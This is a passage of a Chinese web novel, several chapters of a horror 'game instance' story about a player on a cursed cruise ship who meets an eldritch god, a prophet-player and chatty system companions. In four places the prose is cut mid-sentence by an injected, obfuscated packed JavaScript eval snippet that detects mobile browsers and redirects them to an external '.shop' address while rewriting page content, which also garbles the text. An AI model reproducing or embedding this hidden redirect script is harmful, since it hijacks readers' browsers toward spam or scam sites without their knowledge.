我若有所思的回头,背后昏暗室内唯一那盏橘黄色台灯发出的光芒此刻已经格外黯淡,如零星烛火也如尘烟,飘忽不定,即将消散在黑暗中。 与此同时暗中的东西似乎愈发活跃起来,既邪恶扭曲,又让人脊背发寒,却在即将贴近我时猛地回缩。 我按下周身跃跃欲试的魔气。 没有攻击恐怕是因为是那束光还没完全消散,但看光线黯淡的速度,距离完全熄灭也不过十几秒的时间,现在必须立刻离开这个房间。 留给我的时间不多了。 收回思考,我大步上前拧动门把手,在触碰到那冰冷物体的瞬间墙壁上的电子屏幕血红一片,几个黑色的字跃然而上—— 【请用门卡解锁。】 而我这里恰好有一张门卡。 说起来还是安东尼给的。 在从手机中调出电子门卡时,小橘灯发出的光芒已经微不可察,黑暗里原先隐匿东西的存在感也更加清晰,已经明显到不用刻意感知都能被察觉的程度。 我猛地刷卡,开门,再关门。 一系列动作一气呵成。 也正是关上门的瞬间,我听到了重物撞击在门上发出的水渍渍声响,险险搭在门把手上的手被震得发麻。 好险。 我将手放在自己砰砰直跳的胸腔上。 也不知道安东尼想让我跟那东西共处一室究竟居心何在……该不会想偷偷做掉我这个私生子吧? 没有一点留念,我直奔楼下1109号房间的方向,哪怕那里必然埋藏着风险。 十二层到十一层的楼梯间有一扇同样需要身份认证的门,我如法炮制开了门,又从玩家道具空间中拿出一件能够掩饰身形与气息的斗篷披上。 十二层房间与房间之间的过道上没有摄像头——这是在来时就能注意到的,但其它楼层就不一定了。 楼梯间拐角处突然出现一道人影,此时与我只有半步距离。 刹不住了! 嘭—— 身体失去控制向后仰倒。 被撞那人反应极快,一把拉住我的手腕将原本向后倒的我向前拽去,于是我又结结实实的撞回那人身上。 好硬! 我头晕脑胀的想:这人是不是偷偷绷紧胸肌了。 “你还好吗?”那人放轻了声音问道。 被撞上的那个毫发无损,撞人的现在还在待机中。 天杀的身份牌。 “……谢谢关心,我没事。”我顺着力道起了身,垂着头匆匆道谢后便转身离……没离开,那人攥住了我的手腕。 “先生是有什么事吗?” 我低着头避免视线对上,佯装颤声。 “别害怕,小羊…小朋友,你东西掉了。”他塞给我一张阴冷的金属薄片,声音温和清润,“这回可要保存好。” “嗯嗯嗯。” 这次我顺利抽出了手腕,快步向下走去。 男人动作声音得当,没有一丝冒犯的意味。 只是,背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720325|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那束落在我身上的目光,未免有些久了。 直到走进通往十一层的大门。 * 十一层。 共二十五间。 轻松找到1109号房间—一那间位于正中间的客房。 门后一片漆黑。 【开关在左侧。】 我打开了灯。 相较于十二层客房宽阔到瞠目结舌的程度,十一层要稍稍正常些。 但面积也不小了。 借助灯光,我看清楚了那位陌生人塞过来的东西。 是一张903号的房卡与小纸条—— 【初次见面,你好。 我知道你是威廉家族的人,不知道你有没有想过为什么从来不受家族喜爱,身负巨债的你会突然被带到这里。据我所知,这个充满罪恶与恶魔的家族近百年来一直痴迷于用活人献祭……希望没有吓到你。请你信我对你没有丝毫恶意,虽然听起来像是玩笑或者恶作剧,但聆听我主的教导,你会死在这艘驶向地狱的船上。奉我主的教诲,我愿将福音传递与你,助你脱离险恶,洗清浊秽,得以永生。 如果好奇,或是害怕,可以在今晚十一点来903找我,我会一直等着你——神的迷途羔羊。 愿主庇护我们。 ——我主的追随者】 注意力落在最后一行字上,纸条也像是完成了最后的使命,化为光点消失在手中。 我:“……” 哪里来的神棍? 【传信类一次性道具,1千积分一次。】小白恰到好处解释道。 看了眼手机上的时间,现在是下午三点。 好嘛,今天还真是漫长。 凭空出现的小白球飞到我面前,原本的两只蓝色眼睛变成了红色的叉叉:【那个人是玩家,您撞上去说不定也是对方有意为之的结果,对方必然对您另有所图,所以我不建议您赴约前往。】 【没关系,我对他也有图谋。】 小白数据构成的表情有一瞬间的乱码,【……为什么?您明明也觉得他是个怪人,并存在对您构成威胁的可能,为什么还要去找他?还对他有图谋?他身上有什么吸引您的点吗?】 我踩着绒绒的地毯四处转悠,旁边是绕着我飞的小白。 【你问题好多。】 环顾一圈,脚下的地毯是极其柔软干净的,旁边朴素却舒适的家具摆放的恰到好处,头上那盏看似不起眼的吊灯也镶了金边,低调中带了些浓墨重彩的奢华。 进来时没顾得上仔细观察,现在看来这间房中的配置应该并不比安东尼那地儿差多少。 想来装饰的那位估计是个有钱没地花的主。 躺倒在卧室里的那张可以让我整个人陷进去的舒适大床上,我合上双眼养精蓄锐。 【您就这么睡了?】小白叫魂的声音幽幽响起,【这么早休息是准备晚上去找那个玩家吗?】 【……】 进副本后小白怎么更活泼了? 就在我张口之际,眼前浮现一片薄雾,紧接着,一阵突如其来的困意潮涌般淹没我的识海,蓦地将我拽向黑暗之中。 我失去了意识。 35.惊悚游轮(6) “呼——” 我猛地睁开眼,吐出一口浊气。 面前的一切模糊且紊乱。 空气也不再像是空气,而是透明的不断蠕动的异物,它们一个接着一个的扭动,将眼前的空白折射出五颜六色的长条。 这种难以用正常逻辑解释的现象让我不能确定自己是否真真落在了实地。 嗡———— 嗡嗡———— 眩晕恶心的嘈杂声接踵而至。 就像是钻进了数只虫蝇肉咀,它们在躯体、血液,乃至脑子里,产卵、繁殖、啃食…… 嘀嗒。 嘀嗒。 嘀嗒。 …… 是血。 我想。 那是从我七窍中逃窜而出的血。 我控制不住我的躯壳。它弯曲,蜷缩,流血,呕吐,痉挛……直至扭曲。 半昏半醒,我分不清这似是而非,究竟是臆想还是副本。 蚊蝇的躁动,飘渺的呢喃,不可名状的恐惧,如层层叠叠的丝绸死水堵住我的耳喉。 我脑中长鸣,几乎要被这死水溺死。 【*******】 【****,********】 【***…*******……*******】 【……】 飘渺的完全听不懂的语言喋喋不休,似近似远。 直到某一刻,对面像是忽然意识到了,耳边没有意义的呢喃细语再次抵达耳畔时已经成了熟悉的字句。 【…可怜。】 那道浑厚又纤细的、似男似女的、无处不在的声音,此时带了点莫名的,毛骨悚然的怜惜。 瞬间似有温和的流水包裹。 耳畔不再嗡鸣。 沉默。 在这个暗物质混杂的紊乱海域中,我悬浮在其中,如新生儿般迷茫。海浪静静地、循环往复地拍打过来,我仰面,空洞,缓缓恢复理智。 海水带着咸腥味。 无尽的深处是无秩序的庞然大物。 有些臃肿的身形往前移动了一步,扑面的压迫感推着水流将我送向更远方。 这个举动似乎和对方的目的背道而驰。我缓缓抬起沉重的手臂,每一缕流经它的水流都在传递那位未知生物的疑惑和不开心。 对方像是在思考……我猜的,谁知道那一片深渊似的巨物在想什么。总之片刻后,几道类人型的扁平物体从四面八方向我的方向移动。 压抑,扭曲,像是无数杂质和海虫密密麻麻的聚集在一起。 我错愕的调动身体向后扑腾几下。 虽然没能逃走,但却有效的让对面停止了举动。 【……恐……惧?】 【人…类?…太。脆弱。虽…然……没有。融。化。】 一字一句从无数角落发出,缓慢如同幼儿的牙牙学语。 却也随着时间而越发流利。 【吾,已苏醒……召唤。阵,召唤…吾。吾即可,定位。】 我微微一愣。 又是阵又是召唤的…… 再联想到神棍玩家信上写的献祭,一个不可思议却又合情合理的假设出现在我的脑中。 我大概知道这个副本里的核心npc的目的了。 但当下被困在完全陌生的地方,还受制于诡异生物的处境实在是糟糕透了。 更糟心的是,即使对方有意收敛着气息,身上溢出的零星扭曲依旧能让我止不住的浑身发抖…… 一个波浪过来,又是一阵心惊胆战。 这完全不在一个战斗体系内啊! 眼看着一个小号不知名物体从大号不知名生物那蹿过来,我无处可躲,只好在心中暗自谴责系统和副本。 这是把我整到哪去了。 卡牌性质只能保住我的精神不受污染,但谁能保证我的脑子不会突然炸开呢? 没有人。呜呜。 魔气打开的屏障连一秒都没撑住。 我被小号不知名物体扑了个正着,但对方没有选择侵蚀、啃咬、刺穿等一系列攻击动作,而是就着扑来的方向牢牢挂在我的腰间。 感受不到任何恶意。 深呼一口气,低头仔细一瞧,它在我这从此便有了名字。 一根长满眼睛的触手。 有点恶心。 尤其是在一串眼睛看着我眨来眨去的时候,感觉像是有蚂蚁在身上爬。 我小心翼翼地捏了捏眼前这根触手。 滑不溜秋,应该也很劲道。 我是说,咬下去,很劲道。 一无所知的触手被摸得发颤,从尖尖到浑身变成了淡淡的粉色。 视线深处的庞然大物似乎也变了色。 随着水流产生波动,声音再次从四周扩散。 【它是吾的一部分,是印记。】 【……吾感受到,印记。人类,和乱七八糟的东西,想唤吾。】 【吾,要出去。】 【召唤吾。】 话音落下,梦境随之坍塌。 我落在了一片虚无之中。 确认那股扭曲恍惚的气息彻底消失后,我瘫坐在虚无之上,出了一身冷汗。 “叽叽?” 腰间的小触手不知道什么时候爬到了胳膊上,阴冷冰凉,凸出的眼睛滑过胳膊时激起一片鸡皮疙瘩。此时它长满小眼睛的尾巴尖高高翘起,上面的眼睛同时看向我。 我眨眨眼,把吸附在胳膊上的小触手扒拉下来,两指捏起放在眼前。 深色的触手不老实的晃来晃去,时不时发出叽叽的叫声。 我用了点力气把它丢到空中。 小触手啪唧一下摔到魔气构成的屏障上,摔成了一滩烂泥,密密麻麻的眼睛也跟爆珠似的碎成稀烂。 然后在我嫌弃又诧异的目光中,那滩烂泥站了起来,将自己搅拌回了原样,就连眼睛也长了回来。 见我没有把它捡起来的意思,就在原地叽叽的用触手尖拍打屏障,故意发出“啪嗒啪嗒”的声响。 恶心,但没有任何威胁。 见我不搭理它还自己爬了回来,抽抽嗒嗒的蔫在旁边。 还怪可怜的。 我露出了阴险邪恶的笑容,在小触手吱吱叫声中又把它丢了出去。 “父债子还,我打不过你本体还打不过你?” 这是我对第二次爬回来,但即将面临第三次拍飞的小触手说的话。 虽然不知名的巨大生物体没有表露任何恶意,可对方的存在本身对我来说就是一种扭曲的恶意。如果不是身份卡牌的性质恰好屏蔽住了那份扭曲,我都能料到自己现在的模样——一滩由血与肉组成的烂泥! 【卡牌性质4:免除一切精神污染】 这就是规则的力量。 可即使这样,在直面对方时我仍感受到头晕目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724894|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眩的不适。 果然还是太弱了。 不过—— 原来祂想来还需要阵召唤啊。 我挑起眉头,裂开嘴。 这就好办多了。 虚无之中有声音传来,如同破晓的利剑般划破溢满虚无的空间。 【……宿主…宿主!宿主——!】 电子合成的声音越来越大,如同识海里劈天雷,震得脑瓜子嗡嗡作响。 深深吸了口气,我睁开了眼,一只胳膊撑在床上,另一只手将被汗水打湿的头发撩到一边,扯起嘴角,【打住。叫魂呢?】 【这是关心您的具体表现。】小白道,【您已经昏迷六个小时了。】 我将梦里的事转述给小白,并展示一同跟出来的小触手。 我:【这也是你们副本的一环吗?】 【我的资料库里没有记录这种情况。】小白严肃道:【据我所知,您遇到的可能是沉睡在这个副本附近的古神,那可是连主系统都不愿主动干涉的存在!还好对方没能定位这里,如果对方真身降临,这次副本里的所有玩家都会在顷刻间癫狂致死……我需要立马上报。】 话音刚落,一串镶着火红宝石的手链出现在我的手腕上。 【这串手链是我用您给我的那部分积分兑换的T5列道具,佩戴者可拥有方圆百里的视野。因为我随时有被召回询问的可能,它会代替我成为您的眼睛。】 …… 22点55分。 小白果然被叫走了。 距那位神棍约好的时间还差5分钟。 船上有条规矩,深夜二十四点前所有乘客须回到客房,不得在外游荡。但据我观察,赌场和角斗场等刺激性的娱乐场所的营业时间却没有任何时间限制。 很好,连猜测都用不着了,下一步应该如何走已经非常明确了。 说起来安东尼到现在还没找过来。 我不信他一点都没发现我的失踪,想来大概多半是被什么人或事绊住手脚了。而绊住他的,极有可能是给我安排这间客房的那位。 因为对方也没来,估计同样被安东尼拽住了。 【赌场里的人今天白天时看着就不太对劲,肯定会有重要线索,今晚不想去看看吗?】 暂时顶替小白的新系统欢快道。 【你怎么知道今天白天的事?】 【您的个人系统将这个副本发生的事拷了一份给我,虽然有删减但……啧,您真漂亮,长得也好瑟。】 【你有病?】我恶心道。 与小白的一板一眼,很少带有个统情绪的声音不同,这个系统的声线更符合人类男性,磁性低沉。 小白曾说新来的系统权限会比它高很多,对方也确实自称一号,看起来确实厉害…… 才怪。 低俗的令人发指。 【是啊,想您想到患上了心病。】 【闭嘴吧。】 【真不去?您就不好奇吗?】 【……】 【万一这条线索被其他玩家率先得到,万一他们想掩盖或是破坏这条线索呢?这样也不要紧吗?】 到这里,我就算再迟钝也发现这个系统在怂恿我了。 为什么?我去那里对他又有什么好处? 想不明白。 【系统对您上个副本的评价就是‘摆烂摸鱼’‘消极怠工’。】他夸张道。 我打个哈欠。 36.惊悚游轮(7) 我推开门。 十一层单人单间,房间也算不上多,此时过道更是清清冷冷,看不见一个人影。 本该是一个恐怖片的开场白,奈何新系统太过聒噪,在我脑子里唱起了独角戏。 新系统:【您不是这个副本要摆烂吗,为什么还要去找那个奇怪的玩家?】 见不再是奇怪的问题,我慢吞吞的回道:【因为他说我要死了。】 新系统激动:【所以您要去把他大卸八块,让他看看到底谁先死?】 我:【哇。好恐怖好血腥,好害怕怕哦。】 新系统:【说实话,您大可以装得再假一点。】 我穿过十到十一层的走廊,边走边认真回想了下真实一点的原因。 我:【有点好奇我的死法。】所以想去问问。 他笑道:【您真有意思……合着通关线索在您心中都没人家胡乱编的您的死法重要?】 【那当然。】我有些不高兴道:【什么瞎编,会不会说话……说不定他说得是真的呢?别整天那么阴暗的猜忌别人。】 【等等我怎么就阴暗了我……不对啊,您不也是这么想——】 新系统话说一半被我反手拉黑。 新系统郁闷下线。 哈,大仇已报! 轻松来到903门前,我十分不礼貌的刷开门卡直接走了进去。 一眼可见的客厅沙发上坐着一位气质冷清的男人,从外貌判断年龄大概在二十四到二十六之间。他衣着格子衫,低头捧着本厚重的书,银灰框眼镜搭在高挺鼻梁上,旁的案几上放着的茶杯飘着热气,端的是一副岁月静好的姿态。 我装作被吓到的模样,小声道:“是您,您给我留的纸条吗?” “是我没错,希望那张纸条上一些冒昧的措辞没有吓到你。” 男人合上书,视线落在我身上。那双浅灰色眼睛流露的神态是与清冷气质截然不同的柔和,像是错将一个灵魂塞进一个陌生的壳子中。 他推过来一盏飘着热气的茶。 “我叫白九儒,山水之秀钟为儒的儒,九重敷奏动天听的九。”白九儒嘴角微微上扬,眉眼也弯起,“我原本还在担心你会以为我是个胡言乱语的骗子而不会来呢。毕竟,大多数人看到那些话都会是那种反应,不直接说我是骗子、神经病什么的就已经算是很幸运了,哈哈。” 我敷衍的跟着笑了两声。 这人难不成还指望哪个正常人对一个直言自己没几天就会死的人能有好脸色? “我的意思是——很高兴你愿意来找我。就像纸条上说的那样。” 白九儒眼神好,分明看到了我眼底的敷衍和警惕,却仍旧面不改色继续笑道。 我:“嗯嗯。” 他:“你的额头当时红了一片,现在看着倒是好多了,是抹什么药了吗?” 我摇头。 他:“吃过晚饭了吗?” 还是摇头。 睡了一下午。 白九儒露出不赞同的神色:“不吃饭可不是什么好习惯。现在有想吃的吗?比如莲藕炖肘子?小鸡炖蘑菇?……不行,有点晚了,这些太过油腻。渔村小白菜怎么样?” 有点意动。 我想了想,开口道:“要青柠味的蛋糕。” ——我那曾三百六十五度无死角托马斯旋转飞出的白月光。 他:“现在吃吗?” 我重重点头。 这小子难不成晚饭间私藏了一块? 看不出来,浓眉大眼的竟然能干出这种—— 男人凭空变出来一整块漂亮精致的绿色小蛋糕递给我。 上面的淡蓝色透明信息框标明:玩家商城出品。 我:? 我:嗯??? 一时间槽点太多以至于不知道先吐槽哪一个。 ——哥你这么诚实对待一个npc你的系统知道吗它真的不会锤死你吗? 我最终还是装作没看见接了过来,在饱含期待的目光中吃下来第一口—— “……” 吗的,怎么是芥末味的。 “怎么样?好吃吗?”毫不知情的男人身体微微向前倾,胸口的十字架在灯光下晃动。 我沉默地叉了一大块绿色小蛋糕递给他。 很快,沙发上坐了两个痛苦的人。 “抱歉……” 我摇摇头,并身体力行的朝远离他的地方挪了一点。 白九儒察觉到了,他收敛了笑容,举着白瓷茶杯的几根手指不自然的抽搐。良好的系统装备让我清楚看见那只茶杯内部逐渐爬满的裂痕,与男人颤抖时微微充血的眼白。 那张清冷英俊的脸面无表情时竟会显得可怖。 显然对面并不是一个情绪稳定的人。 随着男人身上的气息越来越不稳定,我开始犹豫要不要离开这里。 在“身旁坐着个定时炸弹”和“失去对自己死法的欣赏观摩”两者中,我选择喝了口茶。 似定时炸弹灰色的眼珠子随着我的动作而咕噜咕噜转。 怪瘆人的。 再喝口茶压压惊。 …… 天知道过了多久,沉闷压抑的氛围终于一扫而空,又恢复了最开始的宁静,甚至比最初更让人感到幽静。 我晃了晃一点不剩的茶壶,咂咂嘴,有些遗憾。 白九儒摘下眼镜,揉了揉眉间,在看到我时,那双漠然的浅灰瞳孔中有一闪而过惊讶。 男人神情清冷,且内敛,与进门时略微不协调的温柔迥乎不同。 “我记性一向不是很好。所以抱歉,但请告诉我你是怎么进来的?”他说。 话语间带着凛冽的压迫感。 我若有所思的看向他,却又在后者投来探究目光时惊恐地不断后缩,怯懦又胆小。 白九儒微不可查的皱了下眉头,又很快抚平,紧接着,他非常不自然地提起一个僵硬的、皮肉不协调的动作—— 微笑。 “别害怕,我没有别的意思。真的只是忘了。” 这作势,这话语。 不知道还以为他在威胁人。 “……” 怪惊悚的。 我迅速将房卡拿出来给他看,故意咬唇,声音含糊黏腻:“这个…是你给我的,也是是你让我晚点来房间找你。” 眼睛一眨一眨,怀着情的目光缓慢上移。 这回男人浅灰色的眼中异色更甚,甚至来不及隐藏那抹恶心,良好的教养让他将口中的话咽了回去。 然后以迅雷不及掩耳之势,向远离我的方向移动一大截。 我:。 “一句话让陌生玩家退避三舍”成就达成。 对方在观察我的同时我也在观察对方。 很有考究的服饰,一睁眼便将敞开的扣子系到最顶端,鲜少表现出外露的情绪,但对茶几上的几滴溢出的水渍与摊开放在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728916|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书表现出了明显的厌恶与杀意……洁癖、强迫症、不喜欢和人交流、受过高等教育以及—— 男人嫌弃厌恶的皱起眉头又很快松开,他深吸一口气,手指不自觉摩挲着胸前的十字架,却仍然难掩厌烦道:“出去。别让我再说第二遍。” 以及,有宗教信仰。 除了最后一条,其余与先前表现出的模样完全判若两人。 试探是达到了,不过人也要被赶出去了。 在表情越来越不耐烦的男人的注视下,我在自己要被踹出去的前一秒将让小白留过备份的纸条递给他。 “这是?”他皱着眉接过。 “您之前在走廊上塞给我的纸条。” 看清楚纸条上写了什么的男人有一瞬僵硬,清冷的脸上写满了抗拒,那张被视为垃圾的纸条很快在对方手中化作光点,与之前那个落了个相同的结局。 等到再次抬头看向我时,白九儒神情缓和不少,只是抿起的嘴角透露出它的主人的些许不自然。 “做出承诺的不是我,是我哥,你认错人了,但会预言的确实是我没错。我可以给你一个找我预测你的死亡的机会,作为你因他耽误时间的赔偿。” “但天下没有免费的午餐,你仍需要做出等价的付出。” “什么代价?” 他眉眼淡漠,满不在意道:“先欠着吧。” 话音刚落,封闭的室内突然爆发出一阵刺眼的光芒。 闭眼的前一刻我好像看到了一对……大翅膀? 再睁眼时我特地往白九儒身后瞄了两眼。 没有毛绒绒的大翅膀……我失落的收回视线。 男人察觉到我的视线,皱了下眉,“你在看什么……算了,从这七根羽毛里面凭感觉选一根给我。” 我顺着他的视线看去。 男人手中的七根洁白羽毛锋利而完美,但每根之间没有任何差别。 我依言抽出第七根递给对方。 他接过顺滑漂亮的白色羽毛,掌心发出一道柔和的白光,合上双眼神情专注,浅色的头发从发尾自下而上变得如雪洁白。 冷淡又圣洁。 我俯身,趁对方闭眼的空隙饶有兴趣的打量他一点点褪去血色的脸。 这就是“预言死亡”的代价吗。 半晌,男人倏地睁开眼,发丝也重又染上淡淡的颜色,眼睛空洞而无神,像是还没回过神来。 紧接着粘稠的深色血液从眼眶、嘴角蜿蜒而下,荒诞又诡异。 我能感受到他的生命在一点点流失。 这位酷哥该不会这就死了吧? “喂?你还好吗?”我进一步靠近白九儒,在他失去焦距的眼前挥了挥手,好奇道:“看到我的死法了吗?” 白九儒慢慢回过神,脸色苍白如同行将就木的死人,却在瞳孔聚焦的瞬间猛地推开我,然后迈开长腿踉踉跄跄向后退了几大步。 那对浅灰色瞳孔颤动,气息不稳,原先的淡漠疏远不复存在。 “我,我我,你你你你你……” 我看见不正常的红色眨眼间从脖颈处烧到脸上,男人手脚不协调地再次倒退几步。 “我怎么了?” 我狐疑的向前迈一步,他慌乱地往后缩一步。 反复重复了几遍,直到把对面逼到角落才停下。 看着对方浑浑噩噩,不在状态的表现,我眯起眼睛。 白九儒……到底看到了什么? 37.惊悚游轮(8) 【神龛】 ——目前位于排行榜第三的神秘公会。 具体成员不知,人数不知,入会条件不知。有传言公会内部成员都是极端激进的神的追随者,虔诚的使徒,目前尚未得到官方认证。 因为能跟他们一个副本的不一定认得出,何况绝大部分的玩家缺少进入同一副本的实力。 唯一流传在普通玩家之间的准确信息,只有该公会会长和副会长两人排名以及各自的代号。 哦对了,这个信息还是公会排行榜自带,可被所有玩家察看的公开信息。 【神龛】公会会长,总榜第十一,代号【神策】。 公会副会长,总榜第二十,代号【神使】。 与玩家论坛可以自行更改的昵称不同,【代号】是位于新人榜最终前十,总榜前一百的玩家,依据各自不同的初始天赋由系统自动生成。 不同代号有不同的天赋加持,每个代号都具有特殊性,不会出现重复。一旦玩家退出排行榜要求位次,个人代号也会随之消失(新人榜最终前十玩家获得永久代号,直至玩家死亡)。 公示排行榜除去并列排在首位的新人榜和总榜,还有财富榜,魅力榜,公会榜等,排名靠前者每年度另有奖励。 而白九儒,正是【神龛】那位无所不知的副会长的一具分身,消除有关本体的关键记忆后在此副本内具有副本玩家的合法身份。 此时。 【神龛】公会内部—— 居高临下,漂浮在万丈深渊之上的纯白王座。 银发男子阖上眼,似乎陷入了更深层次的梦境。 半晌,那张冷漠英俊,但缺少其它色素的脸上突然出现了一道痕迹,是自嘴角溢出的蜿蜒而下的银白血液。 下一秒,刚刚流出的血液瞬间消散在空中,好像从未存在。 若仔细观察,会发现原先静止的胸膛此时却有了微弱的起伏,而银发男人周围的空气却愈发稀薄,隐隐有震颤晃动之势,又在某一刻骤然平静下来。 下一瞬,男人睁开了眼,银灰色瞳孔中闪过一丝疑惑。 他刚刚接收到了其中一具分离出去时间不短的分身的破损通知。 因为那具分身还算特殊,所以他从休眠中被唤醒了。 79%的破损程度,并且还在不算上升。 这种程度的伤势啊……男人稍微回忆了一下。 应该是动用了天赋【神谕】目前的最高阶段,并且看到了什么不该看的,导致天赋反噬造成的。 男人查看了分身所在位置。 副本【死亡游轮】,虽然他没去过,但这个序位的副本应该没什么值得忌惮的才对。尽管那具分身远达不到本体的程度,却也有近四成实力,承载一个普通副本的能源都绰绰有余。 既然不是副本出了问题,那就肯定是玩家了。 男人对自己分身濒死这件事漠不关心,重又闭上眼睛。 至于那个,重伤分身、打乱计划的玩家? 等报废的分身回收就知道了。 不过他也不打算给报废的分身“报仇”。 技不如人而已,还不值得他本人亲自出面。 …… 银发男人没等来那具报废的分身。 那具分身的破损程度在达到99%的时候停止,之后不增反降,一直降到足够平稳机体功能的线才停止。 看着仅剩10%的破损度,他终于来了点兴致。 修复分身损坏程度的道具即使在玩家市场也是有价无市,他没有,他那具分身更不可能会有。 不仅如此,他和那具分身之间的联系也被切断了,只剩下与那缕分魂间微弱的感应。 是因为抢到那个副本的本源力量了么?还是……遇到了什么奇遇? 可惜已经分离出去时间过长的分魂不能强制收回。 男人冰冷的银灰色瞳孔中惋惜一闪而过。 反正那具分身总会死的。 在他下一次沉睡苏醒之前。 * 时间回到半小时前。 眼看对方瞳孔逐渐扩散,我不死心地一个箭步冲上前,攥住白九儒已经发冷的肩膀用力摇晃:“好歹说完再死啊!你究竟看到了什么啊?” 本来没有这么好奇的。 如果这人没有表现出遮遮掩掩的态度与奇怪异常行为的话。 心底像有小猫在打滚,我越发好奇。 【……】刚解除屏蔽的系统看不下去了:【要不……您先别晃了?再晃这名玩家的死因恐怕就是您了。】 【好吧。】我想了想,松开了手。 白九儒啪嗒一下倒在地上。 系统:【……您真缺乏人文主义精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732458|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 我也不理睬,打开玩家面板从道具栏里翻出了一颗正在跳动的心脏。 心脏被我抓在手里,滑不溜秋的,却越蹦越剧烈,几乎快要从我手中蹦出去。 系统:【T5列道具,叫什么…怪物的心脏?我记得它的作用算未知那类。我们的小菩萨难不成打算将它浪费在一个全然陌生的奇怪玩家身上?】 【是啊。】我耸耸肩,【死马当活马医嘛。】 白九儒的生机在消散,衰弱的心脏已经供应不了这具躯体的正常运行。 ——这很简单,给他换一个新的应该就行了。 【所以,原来您是想将他作为试验道具的小白鼠。】 系统感慨道:【是我眼拙了,看来不是小菩萨,是活阎王。】 【别说的那么难听。至少我想救他的这颗心是真的。】 我实在是好奇自己的死亡了。 光是窥见便能让一个实力不菲的玩家须臾间毙命。 不顾似乎已经察觉到什么而颤抖得更激烈的心脏的意愿,我一手掐着白九儒的嘴,另一只手稍一用力,那团蹦哒的肉便化成一滩混着肉丝的血水流入看起来快挂了的男人嘴中。 咦,好像听到了尖叫与悲鸣声。 我站起身拍了拍手,开心的想:大功告成。 这边已经尽人事,接下来对方死活就靠天命啦! 目睹了全过程的系统:【……】 【且不说您好像压根不信命运,这玩家就算活过来,事后知道他吃进去的东西也会恶心的想再死一次吧。】 我身形一顿,而后笑道:【放心,他不会知道的。】 他死了,我不过用了一个看着就膈应的道具,也算不上亏。但他如果活了,我或许可以免费知道一个售价高昂的“未来”,就算不能也可以捞个人情。 将失去意识不知道最终是死是活的白九儒丢在沙发上,我满意地巡视着自己的房间。 【……您的?】 【没错,我的。】 我轻快道。 如果他死了,那这房间的所有权就会落在我手上。 如果他没死,我救了他一命,这房间就必定属于我的。 我开心的再次躺在了床上。 但这次我没能像下午那样睡上一觉。 因为一个讨厌的不速之客。 38.惊悚游轮(8) 封戚愉悦地晃了晃手里价值不菲的酒瓶子。 那是他在赌场上赢的三百万筹码换的。 这点好心情在他摸着黑发现系统分配的客房大厅的沙发上躺了个男的时被掐灭了。 “看来这就是我那个舍友。”他得出结论。“倒霉。我还是更喜欢一个人待着。” 封戚开了灯,发现那个玩家不仅睡在沙发上,姿势还瘆人得很:上半身包括头部没有骨头似的耷拉在地板上空,下半身却板板正正规规整整的摆在沙发上。并且不知道是不是错觉,他好像看到对方垂在地面的手轻微动了一下。 行吧。 只能说尊重,但不理解。 略过随地大小睡的室友,男人朝自己的卧室走去。 一秒后,他关上了门,并重新核对了房间号。 嗯,是他的没错。 “错觉,绝对是错觉,怎么会有…躺在我床上呢……”封戚嘟嘟囔囔着灌了口酒。 他又一次打开了门。 玄黑色被褥上依然是那个纯白如同的羊脂玉的黑发亚裔。 好白…好软……… 等等不对。 封戚再次关上门。 妈的,见鬼了这是。 先是跟得了软骨病似的室友如同恐怖片里必备的廉价尸体般挂在沙发上,又是漂亮的少年男鬼蹲床等待羊入虎口。 他,一个纵横驰骋在赌场的倒霉玩家,就是那个被无良游轮盯上的亟待解救的可怜羔羊! 男人猛退三步,多情的桃花眼中写满了对自己命运的笃定。 房间内有脚步声从远及近。 在门即将从内部打开的瞬间,他左手攥着一沓位列T5的道具符纸,右手持着一把看不出型号枪。 很好,不管对方是什么物种的鬼怪,物理攻击精神攻击现在全有了! 门开了。 封戚屏住呼吸心跳加速然后……然后对上了一双如同在看傻X的漆黑眼睛。 少年径直略过他,单手提溜起那个随地大小睡的玩家,又走进了那间原本应该属于他的房间。 哦,现在不是他的了。 